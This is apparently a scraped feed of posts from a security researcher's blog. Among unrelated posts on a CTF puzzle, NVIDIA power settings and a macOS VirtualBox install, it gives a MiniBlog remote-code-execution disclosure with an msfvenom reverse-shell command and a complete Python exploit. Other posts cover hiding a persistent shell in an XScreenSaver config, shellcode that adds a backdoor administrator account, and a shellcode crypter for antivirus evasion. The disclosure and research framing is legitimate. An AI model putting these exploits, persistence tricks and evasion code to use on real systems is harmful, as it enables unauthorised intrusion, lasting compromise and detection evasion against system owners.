Normal view

There are new articles available, click to refresh the page.
Before yesterdayrastating.github.io

MiniBlog Remote Code Execution

16 March 2019 at 00:00

During a review of the MiniBlog project, a Windows based blogging package, I observed an interesting piece of functionality. With most WYSIWYG editors that support images, it’s common to see the images embedded in the markup that is generated, rather than uploaded to the web server. The images are embedded into the markup by using Data URLs in the img elements.

An example of this can be seen in the inspector of the screenshot below:

At this point, nothing looked particularly strange. However, upon saving the post and inspecting the same image again, a data URL was no longer being used:

As can be seen in the above screenshot, instead of an img element that reads:

<img src="data:image/jpeg;base64,BASE64_CONTENT">

There was an element that had a src attribute referring to a file on disk:

<img src="/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg" alt="">

Examining the code reveals that the post is scanned for data URLs which are subsequently decoded to disk and the corresponding pieces of markup updated to point to the newly created files:

private void SaveFilesToDisk(Post post)
{
  foreach (Match match in Regex.Matches(post.Content, "(src|href)=\"(data:([^\"]+))\"(>.*?</a>)?"))
  {
    string extension = string.Empty;
    string filename = string.Empty;

    // Image
    if (match.Groups[1].Value == "src")
    {
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z]+);base64").Groups[2].Value;
    }
    // Other file type
    else
    {
      // Entire filename
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z0-9+-.]+);base64.*\">(.*)</a>").Groups[3].Value;
    }

    byte[] bytes = ConvertToBytes(match.Groups[2].Value);
    string path = Blog.SaveFileToDisk(bytes, extension);

    string value = string.Format("src=\"{0}\" alt=\"\" ", path);

    if (match.Groups[1].Value == "href")
        value = string.Format("href=\"{0}\"", path);

    Match m = Regex.Match(match.Value, "(src|href)=\"(data:([^\"]+))\"");
    post.Content = post.Content.Replace(m.Value, value);
  }
}

Due to the lack of validation in this method, it is possible to exploit it in order to upload ASPX files and gain remote code execution.

Crafting a Payload

In the SaveFilesToDisk method, there are regular expressions that extract:

  • The MIME type
  • The base64 content

As MIME types will be in the form of image/gif and image/jpeg, the software uses the latter half of the MIME type as the file extension to be used. With this in mind, we can manually exploit this by creating a new post, switching the editor to markup mode (last icon in the toolbar) and including an img element with a MIME type in the data URL that ends in aspx:

In the above screenshot, I generated the base64 data by creating an ASPX shell using msfvenom and encoding with base64:

$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread -f aspx LHOST=192.168.194.141 LPORT=4444 -o shell_no_encoding.aspx
$ base64 -w0 shell_no_encoding.aspx > shell.aspx

With netcat listening for incoming connections on port 4444, publishing this post will instantly return a shell once the browser redirects to the new post:

When examining the post that the browser redirected to after clicking the Save button, we can see that the path to the ASPX file is disclosed in the src attribute of the img element:

The same vulnerability was also identified within the Miniblog.Core project with the slight difference that the filename to be used can be specified in the data-filename attribute of the img element as opposed to using the MIME type to determine the file extension.

Disclosure Timeline

  • 2019-03-15: Vulnerability found, patch created and CVEs requested
  • 2019-03-15: Reach out to vendor to begin disclosure
  • 2019-03-16: CVE-2019-9842 and CVE-2019-9845 assigned to the MiniBlog and MiniBlog.Core vulnerabilities respectively
  • 2019-03-16: Discus with vendor and provide patch
  • 2019-03-16: Patch published to GitHub for both projects

CVSS v3 Vector

AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Proof of Concept Exploit (CVE-2019-9842)

import base64
import re
import requests
import os
import sys
import string
import random

if len(sys.argv) < 5:
    print 'Usage: python {file} [base url] [username] [password] [path to payload]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2]
password = sys.argv[3]
url = sys.argv[1]
payload_path = sys.argv[4]
extension = os.path.splitext(payload_path)[1][1:]

def random_string(length):
    return ''.join(random.choice(string.ascii_letters) for m in xrange(length))

def request_verification_code(path, cookies = {}):
    r = requests.get(url + path, cookies = cookies)
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', r.text)

    if m is None:
        print '\033[1;31;40m[!]\033[0m Failed to retrieve verification token'
        sys.exit(1)

    token = m.group(1)
    cookie_token = r.cookies.get('__RequestVerificationToken')

    return [token, cookie_token]


payload = None
with open(payload_path, 'rb') as payload_file:
    payload = base64.b64encode(payload_file.read())

# Note: login_token[1] must be sent with every request as a cookie.
login_token = request_verification_code('/views/login.cshtml?ReturnUrl=/')
print '\033[1;32;40m[+]\033[0m Retrieved login token'

login_res = requests.post(url + '/views/login.cshtml?ReturnUrl=/', allow_redirects = False, data = {
    'username': username,
    'password': password,
    '__RequestVerificationToken': login_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1]
})

session_cookie = login_res.cookies.get('miniblog')
if session_cookie is None:
    print '\033[1;31;40m[!]\033[0m Failed to authenticate'
    sys.exit(1)

print '\033[1;32;40m[+]\033[0m Authenticated as {user}'.format(user = username)

post_token = request_verification_code('/post/new', {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

print '\033[1;32;40m[+]\033[0m Retrieved new post token'

post_res = requests.post(url + '/post.ashx?mode=save', data = {
    'id': random_string(16),
    'isPublished': True,
    'title': random_string(8),
    'excerpt': '',
    'content': '<img src="data:image/{ext};base64,{payload}" />'.format(ext = extension, payload = payload),
    'categories': '',
    '__RequestVerificationToken': post_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

post_url = post_res.text
post_res = requests.get(url + post_url, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})
uploaded = True
payload_url = None
m = re.search(r'img src="?(\/posts\/files\/(.+?)\.' + extension + ')"?', post_res.text)

if m is None:
    print '\033[1;31;40m[!]\033[0m Could not find the uploaded payload location'
    uploaded = False

if uploaded:
    payload_url = m.group(1)
    print '\033[1;32;40m[+]\033[0m Uploaded payload to {url}'.format(url = payload_url)

article_id = None  
m = re.search(r'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?', post_res.text)
if m is None:
    print '\033[1;31;40m[!]\033[0m Could not determine article ID of new post. Automatic clean up is not possible.'
else:
    article_id = m.group(1)

if article_id is not None:
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', post_res.text)
    delete_token = m.group(1)
    delete_res = requests.post(url + '/post.ashx?mode=delete', data = {
        'id': article_id,
        '__RequestVerificationToken': delete_token
    }, cookies = {
        '__RequestVerificationToken': login_token[1],
        'miniblog': session_cookie
    })

    if delete_res.status_code == 200:
        print '\033[1;32;40m[+]\033[0m Deleted temporary post'
    else:
        print '\033[1;31;40m[!]\033[0m Failed to automatically cleanup temporary post'

try:
    if uploaded:
        print '\033[1;32;40m[+]\033[0m Executing payload...'
        requests.get(url + payload_url)
except:
    sys.exit()

Persistent Code Execution via XScreenSaver

3 March 2019 at 00:00

After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).

The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:

  • Users will rarely edit this file, meaning there is less chance of the shell being noticed
  • The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing

To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.

Identifying XScreenSaver Presence & Configuration

To determine if XScreenSaver is installed, The configuration file for XScreenSaver can be found in a user’s home directory and is named .xscreensaver:

meterpreter > ls -S xscreensaver
Listing: /home/rastating
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100664/rw-rw-r--  8804  fil   2019-03-07 21:49:13 +0000  .xscreensaver

If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.

As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use dpkg to verify:

$ dpkg -s xscreensaver | grep -i status
Status: install ok installed

If it has been built from source, the presence of the following binaries would also suggest it is installed:

  • xscreensaver
  • xscreensaver-command
  • xscreensaver-demo
  • xscreensaver-getimage
  • xscreensaver-getimage-file
  • xscreensaver-getimage-video
  • xscreensaver-gl-helper
  • xscreensaver-text

In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:

  • The timeout value: how long the session must remain inactive before the screensaver is displayed
  • The mode: whether or not a single screensaver is used, or whether random screensavers are chosen each time
  • The selected screensaver

As can be seen in the below snippet of the configuration file, the timeout value is set to 0:01:00, meaning the screensaver will run after one minute of inactivity:

# XScreenSaver Preferences File
# Written by xscreensaver-demo 5.42 for rastating on Thu Mar  7 21:49:13 2019.
# https://www.jwz.org/xscreensaver/

timeout:        0:01:00
cycle:          0:10:00
lock:           False
lockTimeout:    0:00:00
passwdTimeout:  0:00:30

Moving a bit further down the file, we can see the mode setting is one which indicates that a single screensaver has been selected. We can also see the selected setting, which indicates the selected screensaver is the one found at index position 2 of the programs array. As the array starts at 0, this means that in this instance, the attraction screensaver has been selected:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root                            \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

Adding a Shell To The Configuration File

Looking at the programs array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.

In the configuration previously shown, when the screen blanks, it would shell out the command:

/usr/lib/xscreensaver/attraction -root

With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in /home/rastating/.local/share/shell.elf, I modified the .xscreensaver to launch this. The previous snippet of the configuration file now looks like this:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root |                            \
               (/home/rastating/.local/share/shell.elf&)  \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

There are two things to note with this change. The first is that the \n\ that was at the end of the attraction line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The \n is the delimiter, and thus only appears at the end of the full command.

The second thing to note is the use of | and &, the shell is called in this way to ensure that it is launched alongside the attraction binary and that it does not halt execution by forking it into the background.

Once this change is made, XScreenSaver will automatically pick up the change, as per The Manual:

If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)

With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below:

MITRE STEM CTF: Nyanyanyan Writeup

23 February 2019 at 00:00

Upon connecting to the provided server via SSH, a Nyan Cat loop is instantly launched. There appears to be no way to escape this.

Specifying a command to be executed upon connecting via SSH results in a stream of whitespace being sent vs. the expected output.

Upon examining the animation, I was able to see some alphanumeric characters in white against the bright blue background. Within these characters, was the flag.

As the characters were too fast to be noted manually, it was necessary to redirect the outpuit of the SSH session to a file (ssh ctf@ip > nyan.txt). After doing this and inspecting the file, there is a significant amount of junk data. As the flag will only contain alphanumeric and special characters, running the following command will show only the individual characters that were displayed in white, and concatenate them together:

grep -oP "[a-zA-Z0-9.£$%^&*()_\-+=#~'@;:?><,.{}]" nyan.txt | tr '\n' ' '

Upon doing this, it is possible to see the flag within the output:

How to Permanently Set NVIDIA PowerMizer Settings in Ubuntu

15 February 2019 at 00:00

When setting the preferred power mode in the PowerMizer settings of the NVIDIA control panel in Ubuntu, the setting is reset after a reboot of the system. As the default setting forces the GPU to use an adaptive power setting, this can result in decreased performance until such time as setting PowerMizer to prefer maximum performance again.

Although the NVIDIA control panel provides no means of persisting these settings, there is a CLI utility that can help automate the process. Running the nvidia-settings binary with the -q option will output all the current settings. Filtering the output to those related to PowerMizer reveals the GPUPowerMizerMode setting, which when unaltered is set to 0:

$ nvidia-settings -q all | grep -C 10 -i powermizer
  Attribute 'GPUCurrentPerfLevel' (rastating-PC:1[gpu:0]): 3.
    'GPUCurrentPerfLevel' is an integer attribute.
    'GPUCurrentPerfLevel' is a read-only attribute.
    'GPUCurrentPerfLevel' can use the following target types: X Screen, GPU.

  Attribute 'GPUAdaptiveClockState' (rastating-PC:1[gpu:0]): 1.
    'GPUAdaptiveClockState' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'GPUAdaptiveClockState' is a read-only attribute.
    'GPUAdaptiveClockState' can use the following target types: X Screen, GPU.

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 0.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

  Attribute 'GPUPowerMizerDefaultMode' (rastating-PC:1[gpu:0]): 0.
    'GPUPowerMizerDefaultMode' is an integer attribute.
    'GPUPowerMizerDefaultMode' is a read-only attribute.
    'GPUPowerMizerDefaultMode' can use the following target types: GPU.

  Attribute 'ECCSupported' (rastating-PC:1[gpu:0]): 0.
    'ECCSupported' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'ECCSupported' is a read-only attribute.
    'ECCSupported' can use the following target types: GPU.

  Attribute 'GPULogoBrightness' (rastating-PC:1[gpu:0]): 100.
    The valid values for 'GPULogoBrightness' are in the range 0 - 100 (inclusive).
    'GPULogoBrightness' can use the following target types: GPU.

After setting the preferred mode to “Prefer Maximum Performance”, the control panel and terminal output now looked as follows:

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

As can be seen in the above output, the GPUPowerMizerMode is now set to a value of 1.

In addition to reading current values, nvidia-settings can also be used to alter settings. Before using this, we must take note of the GPU index that needs to be changed. In most instances, this will be 0. The index can be identified by looking at the number following gpu: in the attribute line of the output.

Using this information, we can use the -a option to set the value of GpuPowerMizerMode to 1 and verify it has been changed using the -q option:

$ nvidia-settings -a "[gpu:0]/GpuPowerMizerMode=1"

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]) assigned value 1.

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

There are multiple ways to automate the execution of this command. Personally, I have chosen to add it as a startup application. To do this, run “Startup Applications Preferences” from the dock and then click the “Add” button. In the dialog that is displayed, add the previously used command to set the preferred mode, like this:

After adding this as a startup program, the setting will be automatically adjusted every time you login and the GPU will always prefer maximum performance.

Altering Msfvenom Exec Payload to Work Without an ExitFunc

18 November 2018 at 00:00

On a few occasions as of late, I’ve wanted to use the windows[/x64]/exec payload from msfvenom, but with the goal of:

  1. Allowing execution to continue afterwards
  2. Executing in a single threaded environment
  3. Executing without an exception handler

Unfortunately, when setting the EXITFUNC option to none, no code is generated to allow execution to continue as normal after the payload has been executed, and ultimately results in an access violation.

The example I’ll be going over in this post is specifically the x64 version of the exec payload, which differs slightly to the x86 version. Most notably, the calling convention is different, the x86 version will see all arguments pushed on to the stack, but the x64 version will put the first few arguments into registers.

To generate the base shellcode I’ll be working with, I ran: msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add di.security Disecurity1! && net localgroup administrators di.security /add"' EXITFUNC=none

What Causes the Problem

The exec payload uses the WinExec function to run the command specified in the CMD option.

To push the command text specified in the CMD option on to the stack, it is defined as raw bytes at the end of the payload, preceded by a call instruction:

When call is used, the address of the next instruction is then pushed on to the stack, so the execution flow can return to the correct place later. In the context of shellcoding, the pointer to the next instruction is effectively a pointer to the string that has been defined in place, and avoids the need for N amount of push instructions.

If we were to take the first few bytes that appear after call rbp in the above screenshot and convert them to ASCII, we can see that it is the equivalent of cmd.exe /k:

$ echo -e "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b"
cmd.exe /k

Eventually, the execution of the payload will end up being passed to these bytes, which will lead to an error at some point, as the bytes are nonsensical in terms of actual operations.

The Solution

The solution to this issue is quite simple. The ultimate goal will be to add some extra bytes before the command text bytes which will instruct the program to jump past the command text bytes so that normal operations can continue.

As you may be anticipating, doing this will cause an issue in that extra bytes will precede the command text in the call to WinExec. To avoid this becoming an issue, an additional change will need to be made to ensure the pointer used for the lpCmdLine argument is increased by an appropriate number of bytes, so that it points ahead of the new bytes being added.

The change to the command text area can be seen in the screenshot below:

Four new bytes have been added after call rbp, the first two are are for a jmp operation to jump forward past the in place bytes, and the subsequent two bytes are just two NOPs to visually show the separation.

With the new code in place to ensure the command text bytes are never executed, the change to offset the lpCmdLine pointer can be made.

The point at which WinExec is invoked is at the jmp rax operation. At this point, the command being executed will be stored in the rcx register. The code block to look for is:

pop  r8              ; 4158
pop  r8              ; 4158
pop  rsi             ; 5E
pop  rcx             ; 59
pop  rdx             ; 5A
pop  r8              ; 4158
pop  r9              ; 4159
pop  r10             ; 415A
sub  rsp,byte +0x20  ; 4883EC20
push r10             ; 4152
jmp  rax             ; FFE0

As 4 bytes will be added before jmp rax to make the adjustment, and 4 bytes were added to jump over the command text, rcx needs to be adjusted by 8 bytes. To do this, add rcx, 0x8 is inserted before jmp rax:

push r10             ; 4152
add  rcx, byte +0x8  ; 4883C108
jmp  rax             ; FFE0

Fixing Relative Jumps

The simple solution now becomes a bit more painful. Adding the adjustment to the rcx register causes a shift in a number of offsets by 4 bytes.

Thankfully, the visual aid on the left side of the screen in x64dbg makes it a bit easier to identify affected jumps by showing where they would land if taken.

Any jump or call instruction that has an offset that went forward past jmp rax will need to have its offset increased by 4, where as any jump or call that went backwards will need to have its offset decreased by 4.

A total of 4 operations were found that needed to be changed:

  • E8 C0 (call 0xca) changes to E8 C4
  • 74 67 (jz 0xbf) changes to 74 6B
  • E3 56 (jrcxz 0xbe) changes to E3 5A
  • The one jump backwards found towards the end of the payload changes from E9 57 FF FF FF to E9 53 FF FF FF

Wrapping Up & Testing

Now that all the changes have been made, checking the value of rcx when sitting on the jmp rax instruction should show it pointing to the start of the command text bytes:

After the call to WinExec, the execution should eventually return to the short jump that was added before the command text bytes, which should jump straight over the entirety of the command text:

What you place after the command text bytes is completely up to you. In this case, I placed a NOP sled, a stack adjustment and a call into some existing code.

After making these changes, the final payload (minus the additions after the final NOP sled) looks like this:

\xfc\x48\x83\xe4\xf0\xe8\xc4\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6b\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5a\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\x48\x83\xc1\x08\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x53\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\xeb\x69\x90\x90\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b\x20\x22\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x2f\x61\x64\x64\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x44\x69\x73\x65\x63\x75\x72\x69\x74\x79\x31\x21\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x2f\x61\x64\x64\x22\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90

Installing MacOS High Sierra in VirtualBox 5

25 October 2018 at 00:00

During a recent pentest, I needed to throw together a macOS virtual machine. Although there was lots of guides around the web, none seemed to work from start to finish. This post contains the steps I extracted from various resources in order to get a fully working High Sierra install within VirtualBox 5.

Step 1: Download The High Sierra Installer

To do this, you need to be on an existing macOS system. I was unable to find the download within the App Store itself, but following this link opened the App Store at the correct page: https://itunes.apple.com/us/app/macos-high-sierra/id1246284741?mt=12

After opening the aforementioned page in the App Store, start the download, but cancel the installation when it starts.

You can then verify that the installer has been downloaded by checking that "/Applications/Install macOS High Sierra.app" exists.

Step 2: Create a Bootable ISO

Next, you need to create an ISO from the installer application that was downloaded in step 1.

Running the below commands will create an ISO on your desktop named HighSierra.iso:

hdiutil create -o /tmp/HighSierra.cdr -size 5200m -layout SPUD -fs HFS+J
hdiutil attach /tmp/HighSierra.cdr.dmg -noverify -mountpoint /Volumes/install_build
sudo /Applications/Install\ macOS\ High\ Sierra.app/Contents/Resources/createinstallmedia --volume /Volumes/install_build
mv /tmp/HighSierra.cdr.dmg ~/Desktop/InstallSystem.dmg
hdiutil detach /Volumes/Install\ macOS\ High\ Sierra
hdiutil convert ~/Desktop/InstallSystem.dmg -format UDTO -o ~/Desktop/HighSierra.iso

Step 3: Creating the Virtual Machine

I experimented with a few different settings in regards to the CPU and RAM allocation. I didn’t find a combination that didn’t work, but create a VM with the following things in mind:

  • Ensure the name of the VM is MacOS (ensure to keep the same casing)
  • Ensure the type is Mac OS X and the version is macOS 10.12 Sierra (64-bit) (there is a High Sierra option too, but I chose Sierra by accident and it worked)
  • Untick Floppy in System > Motherboard > Boot Order
  • Use >= 4096 MB of memory in System > Motherboard
  • Use >= 2 CPUs in System > Processor
  • Use 128 MB of video memory in Display > Screen
  • Optionally enable 3D acceleration in Display > Screen
  • Remove the IDE device in Storage > Storage Devices and replace it with a SATA controller
  • Add a new hard disk device under the SATA controller with >= 60 GB of space
  • Ensure an optical drive is present under the SATA controller and mount the previously created ISO to it
  • Untick the Enable Audio option under Audio

After creating the virtual machine with the above configuration, hit OK and exit the settings screen. Now, a number of extra options need to be set.

If you’re on Windows, you’ll need to cd into the appropriate directory under the VirtualBox installation path to run VBoxManage. For Linux users, this should be in your PATH variable already:

VBoxManage modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1

After running the above commands, the VM should be ready to boot!

Step 4: Installation

This is where near enough everything I read stopped, despite there being one more problem in the way - UEFI.

Boot into the VM, go into Disk Utility and erase the virtual disk that you added to the machine.

After erasing the disk, start the installation procedure. After a short amount of time, it will reboot the VM.

Once it reboots, it’s going to boot back off the ISO again, once it’s done this, just shutdown the VM and eject the disk [the ISO] and then start the VM again to boot from disk.

On the next boot, it should boot into the installer that was copied to disk, but instead, you will be presented with a UEFI shell like below:

UEFI shell

To continue the macOS installation, follow these steps:

  1. Type exit and hit return
  2. Select Boot Maintenance Manager and hit return
  3. Select Boot From File and hit return
  4. You will see two partitions, select the second partition and hit return
  5. Select macOS Install Data and hit return
  6. Select Locked Files and hit return
  7. Select Boot Files and hit return
  8. Select boot.efi and hit return

After following these steps, you will boot into the remainder of the macOS installation. From here, just follow the steps as per a regular macOS installation.

The next time you boot your virtual machine, you will not have to go through the UEFI shell; it should work without any further problems.

Step 5: Tweaking The Resolution

As there is no VirtualBox additions for macOS, the screen resolution won’t automatically change. If you know what resolution you wish to use, however, you can set it manually.

Ensure the virtual machine is powered off, and then run the following command; replacing 1920x1080 with whatever resolution you would like to use:

VBoxManage setextradata "MacOS" VBoxInternal2/EfiGraphicsResolution 1920x1080

After running the above command, the next time you boot the machine, it will use the resolution specified.

Now, you should have a fully working macOS virtual machine!

macOS virtual machine

References

The information found in this post was pieced together from the following sources:

Creating Shellcode Crypter

22 September 2018 at 00:00

In addition to using encoders to evade AV detection, encryption can also be utilised to beat pattern detection. One of the benefits of encryption over encoding is that without the key used to encrypt the shellcode, it will not be possible to decrypt it (without exploiting weaknesses within the chosen algorithm).

For this example, I have chosen to create a crypter that derives its implementation from the Vigenere Cipher. The Vigenere Cipher is a type of substitution cipher, which is used for encrypting alphabetic text. The implementation I have created, however, allows for it’s basic principle to work with shellcode.

How Vigenere Works

The Vigenere cipher consists of three components:

  • The message (i.e. the unencrypted text)
  • The key
  • The character set

Typically, the character set consists of the letters A through Z and can be illustrated as a square grid. The first row starts in order, and each subsequent row will shift the character set one position to the left, and rotate the characters that go out of bounds back to the right.

Using this grid, the message can be encrypted one letter at a time. The first step is to find the column that the current letter resides in, and then follow it down the rows until reaching the row with the letter that is found in the corresponding position in the key.

For example, if the message was HELLO and the key was DEADBEEF, the first letter (H) would be encrypted using the first letter of the key (D). The first encrypted letter would therefore be K, as per the illustration below:

After encrypting this letter, the letter E would then be encrypted using the same method, which would result in the letter I being selected.

When decrypting text, the same process is followed but in reverse order. So, as the ciphertext (i.e. the encrypted text) from the above example would be KILOP, we would first find the first letter of the key being used to decrypt it (D) and check each value one by one until we find the letter K. Once the encrypted letter is found, it can be decrypted by replacing it with the letter corresponding to the column it is in - in this case H.

In instances were the key is not equal in length or greater than the message, the key is repeated N times until it is. If the key was key and the message was helloworld it would be repeated like this:

keykeykeyk
helloworld

So, the intersection for w would be made from y, the intersection for d would be made from k etc.

Modifications Required to Work with Shellcode

As the typical character set is not sufficient for using the Vigenere cipher to encrypt shellcode, the main modification will be to make it so. Rather than a character set consisting of the letters A through Z, the integer values 1 through 255 will be used. The character set starts at 1 because 0 (i.e. a null byte) is near exclusively a bad character when it comes to shellcoding.

Due to numeric values being used, rather than letters, an optimisation can (and will) be made to the encryption process. Rather than iterating through the top level rows to determine the offset of a particular value, the value itself can be used to determine the correct offset.

For example, in the case of the chosen character set, the correct offset can be found by deducting the starting byte from the one being processed. If the value 3 was being processed, it will always be in position 2 of the character set.

The same optimisation can’t be fully implemented into the decryption process, as iteration of the row is unavoidable; but the offset of the row that needs to be iterated can be directly accessed using the aforementioned logic (i.e. by subtracting the starting byte (0x01) from the byte of the key being processed).

Final Crypter Code

The final code for the crypter can be found below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FIRST_BYTE 1
#define CHARACTER_SET_SIZE 255

int encrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *payload, short debug)
{
    int payloadLength = strlen((char *)payload);

    // Loop through each char in payload, and use the values from
    // the corresponding char from the key to determine which byte
    // to select from characterSet and use it as the encoded byte.
    int encrypted[payloadLength];
    for (int i = 0; i < payloadLength; i++)
    {
        int currentByte = (int)payload[i];
        int keyByte = (int)key[i];
        encrypted[i] = characterSet[keyByte - FIRST_BYTE][currentByte - FIRST_BYTE];

        if (debug)
        {
            printf("Position: %d\n", i);
            printf("Payload byte (dec): %d\n", (int)payload[i]);
            printf("Key byte (dec): %d\n", keyByte);
            printf("Encrypted byte (dec): %d\n\n", encrypted[i]);
        }
    }

    printf("\nEncrypted: ");
    for (int i = 0; i < payloadLength; i++)
    {
        printf("\\x%02x", (int)encrypted[i]);
    }

    printf("\n");

    return 0;
}

int decrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *ciphertext, short execute, short debug)
{
    int payloadLength = strlen((char *)ciphertext);
    unsigned char originalPayload[payloadLength];

    for (int i = 0; i < payloadLength; i++)
    {
        int encryptedByte = (int)ciphertext[i];
        int keyByte = (int)key[i];

        for (int i2 = 0; i2 < CHARACTER_SET_SIZE; i2++)
        {
            if (characterSet[keyByte - FIRST_BYTE][i2] == encryptedByte)
            {
                if (debug)
                {
                    printf("Position: %d\n", i);
                    printf("Payload byte (dec): %d\n", (int)ciphertext[i]);
                    printf("Key byte (dec): %d\n", keyByte);
                    printf("Decrypted byte (dec): %d\n\n", characterSet[0][i2]);
                }

                originalPayload[i] = (unsigned char)characterSet[0][i2];
                break;
            }
        }
    }

    if (execute == 1)
    {
        void (*s)() = (void *)originalPayload;
        s();
    }
    else
    {
        printf("\nDecrypted: ");
        for (int i = 0; i < payloadLength; i++)
        {
            printf("\\x%02x", (int)originalPayload[i]);
        }

        printf("\n");
    }

    return 0;
}

